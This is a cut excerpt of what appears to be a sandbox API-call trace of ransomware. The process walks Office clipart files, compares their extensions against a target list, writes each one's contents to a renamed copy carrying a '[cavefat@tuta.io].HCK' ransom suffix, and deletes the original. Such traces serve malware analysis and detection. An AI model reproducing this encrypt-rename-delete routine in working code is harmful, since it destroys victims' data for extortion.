lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.417] lstrlenW (lpString=".xls") returned 4 [0170.417] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.417] lstrlenW (lpString=".xlsx") returned 5 [0170.417] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.417] lstrlenW (lpString=".ppt") returned 4 [0170.417] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0170.417] lstrlenW (lpString=".zip") returned 4 [0170.417] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.417] lstrlenW (lpString=".rar") returned 4 [0170.417] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.417] lstrlenW (lpString=".bz2") returned 4 [0170.417] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.417] lstrlenW (lpString=".7z") returned 3 [0170.417] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0170.417] lstrlenW (lpString=".dbf") returned 4 [0170.417] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0170.417] lstrlenW (lpString=".1cd") returned 4 [0170.417] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0170.417] lstrlenW (lpString=".jpg") returned 4 [0170.417] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0170.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0170.418] lstrlenW (lpString=".doc") returned 4 [0170.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.418] lstrlenW (lpString=".docx") returned 5 [0170.418] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0170.418] lstrlenW (lpString=".pdf") returned 4 [0170.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.418] lstrlenW (lpString=".xls") returned 4 [0170.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.418] lstrlenW (lpString=".xlsx") returned 5 [0170.418] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0170.418] lstrlenW (lpString=".ppt") returned 4 [0170.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0170.418] lstrlenW (lpString=".zip") returned 4 [0170.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.418] lstrlenW (lpString=".rar") returned 4 [0170.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.418] lstrlenW (lpString=".bz2") returned 4 [0170.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.418] lstrlenW (lpString=".7z") returned 3 [0170.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0170.418] lstrlenW (lpString=".dbf") returned 4 [0170.418] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0170.418] lstrlenW (lpString=".1cd") returned 4 [0170.418] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0170.418] lstrlenW (lpString=".jpg") returned 4 [0170.418] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.418] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.418] lstrlenW (lpString="J0198022.WMF") returned 12 [0170.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198022.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0170.424] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=26148) returned 1 [0170.424] CloseHandle (hObject=0x364) returned 1 [0170.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198022.wmf")) returned 0x220 [0170.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198022.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198022.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0170.438] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.438] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198022.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0170.447] GetLastError () returned 0x0 [0170.447] ReadFile (in: hFile=0x380, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x6624, lpOverlapped=0x0) returned 1 [0170.449] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x6630, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x6630, lpOverlapped=0x0) returned 1 [0170.449] ReadFile (in: hFile=0x380, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.450] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.450] SetEndOfFile (hFile=0x308) returned 1 [0170.451] CloseHandle (hObject=0x308) returned 1 [0170.454] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.454] SetEndOfFile (hFile=0x380) returned 1 [0170.457] CloseHandle (hObject=0x380) returned 1 [0170.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198022.wmf")) returned 1 [0170.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0170.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0170.462] lstrlenW (lpString=".doc") returned 4 [0170.462] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.462] lstrlenW (lpString=".docx") returned 5 [0170.462] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.462] lstrlenW (lpString=".pdf") returned 4 [0170.462] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.462] lstrlenW (lpString=".xls") returned 4 [0170.463] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.463] lstrlenW (lpString=".xlsx") returned 5 [0170.463] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.463] lstrlenW (lpString=".ppt") returned 4 [0170.463] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0170.463] lstrlenW (lpString=".zip") returned 4 [0170.463] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.463] lstrlenW (lpString=".rar") returned 4 [0170.463] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.463] lstrlenW (lpString=".bz2") returned 4 [0170.463] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.463] lstrlenW (lpString=".7z") returned 3 [0170.463] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0170.463] lstrlenW (lpString=".dbf") returned 4 [0170.463] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0170.463] lstrlenW (lpString=".1cd") returned 4 [0170.463] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0170.463] lstrlenW (lpString=".jpg") returned 4 [0170.463] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0170.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0170.463] lstrlenW (lpString=".doc") returned 4 [0170.463] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.463] lstrlenW (lpString=".docx") returned 5 [0170.463] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0170.463] lstrlenW (lpString=".pdf") returned 4 [0170.463] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.463] lstrlenW (lpString=".xls") returned 4 [0170.463] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.463] lstrlenW (lpString=".xlsx") returned 5 [0170.463] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0170.463] lstrlenW (lpString=".ppt") returned 4 [0170.463] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0170.463] lstrlenW (lpString=".zip") returned 4 [0170.463] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.463] lstrlenW (lpString=".rar") returned 4 [0170.463] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.463] lstrlenW (lpString=".bz2") returned 4 [0170.463] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.463] lstrlenW (lpString=".7z") returned 3 [0170.463] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0170.463] lstrlenW (lpString=".dbf") returned 4 [0170.463] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0170.463] lstrlenW (lpString=".1cd") returned 4 [0170.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198022.WMF") returned 68 [0170.464] lstrlenW (lpString=".jpg") returned 4 [0170.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.464] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.464] lstrlenW (lpString="J0198226.WMF") returned 12 [0170.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198226.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0170.467] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=41906) returned 1 [0170.467] CloseHandle (hObject=0x308) returned 1 [0170.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198226.wmf")) returned 0x220 [0170.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198226.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198226.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.482] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.482] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198226.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.495] GetLastError () returned 0x0 [0170.496] ReadFile (in: hFile=0x38c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xa3b2, lpOverlapped=0x0) returned 1 [0170.498] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xa3c0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xa3c0, lpOverlapped=0x0) returned 1 [0170.499] ReadFile (in: hFile=0x38c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.499] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.499] SetEndOfFile (hFile=0x370) returned 1 [0170.503] CloseHandle (hObject=0x370) returned 1 [0170.506] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.506] SetEndOfFile (hFile=0x38c) returned 1 [0170.514] CloseHandle (hObject=0x38c) returned 1 [0170.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198226.wmf")) returned 1 [0170.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0170.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0170.525] lstrlenW (lpString=".doc") returned 4 [0170.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.526] lstrlenW (lpString=".docx") returned 5 [0170.526] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0170.526] lstrlenW (lpString=".pdf") returned 4 [0170.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.526] lstrlenW (lpString=".xls") returned 4 [0170.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.526] lstrlenW (lpString=".xlsx") returned 5 [0170.526] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0170.526] lstrlenW (lpString=".ppt") returned 4 [0170.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0170.526] lstrlenW (lpString=".zip") returned 4 [0170.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.526] lstrlenW (lpString=".rar") returned 4 [0170.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.526] lstrlenW (lpString=".bz2") returned 4 [0170.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.526] lstrlenW (lpString=".7z") returned 3 [0170.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0170.526] lstrlenW (lpString=".dbf") returned 4 [0170.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0170.526] lstrlenW (lpString=".1cd") returned 4 [0170.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0170.526] lstrlenW (lpString=".jpg") returned 4 [0170.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0170.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0170.526] lstrlenW (lpString=".doc") returned 4 [0170.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.526] lstrlenW (lpString=".docx") returned 5 [0170.526] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0170.526] lstrlenW (lpString=".pdf") returned 4 [0170.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.526] lstrlenW (lpString=".xls") returned 4 [0170.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.526] lstrlenW (lpString=".xlsx") returned 5 [0170.526] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0170.526] lstrlenW (lpString=".ppt") returned 4 [0170.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0170.526] lstrlenW (lpString=".zip") returned 4 [0170.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0170.526] lstrlenW (lpString=".rar") returned 4 [0170.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0170.526] lstrlenW (lpString=".bz2") returned 4 [0170.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0170.526] lstrlenW (lpString=".7z") returned 3 [0170.527] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0170.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0170.527] lstrlenW (lpString=".dbf") returned 4 [0170.527] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0170.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0170.527] lstrlenW (lpString=".1cd") returned 4 [0170.527] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0170.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198226.WMF") returned 68 [0170.527] lstrlenW (lpString=".jpg") returned 4 [0170.527] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0170.527] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0170.527] lstrlenW (lpString="J0198447.WMF") returned 12 [0170.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198447.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0170.532] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=49676) returned 1 [0170.532] CloseHandle (hObject=0x394) returned 1 [0170.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198447.wmf")) returned 0x220 [0170.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198447.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0170.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198447.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0170.539] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.540] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198447.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0170.545] GetLastError () returned 0x0 [0170.545] ReadFile (in: hFile=0x38c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xc20c, lpOverlapped=0x0) returned 1 [0170.548] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xc210, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xc210, lpOverlapped=0x0) returned 1 [0170.550] ReadFile (in: hFile=0x38c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.550] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.550] SetEndOfFile (hFile=0x364) returned 1 [0170.555] CloseHandle (hObject=0x364) returned 1 [0170.556] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.556] SetEndOfFile (hFile=0x38c) returned 1 [0170.557] CloseHandle (hObject=0x38c) returned 1 [0170.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0170.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198447.wmf")) returned 1 [0170.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0170.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0170.561] lstrlenW (lpString=".doc") returned 4 [0170.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0170.561] lstrlenW (lpString=".docx") returned 5 [0170.561] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0170.561] lstrlenW (lpString=".pdf") returned 4 [0170.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0170.561] lstrlenW (lpString=".xls") returned 4 [0170.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0170.561] lstrlenW (lpString=".xlsx") returned 5 [0170.561] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0170.561] lstrlenW (lpString=".ppt") returned 4 [0170.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0170.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198447.WMF") returned 68 [0170.561] lstrlenW (lpString=".zip") returned 4 [0170.561] lstrcmpiW 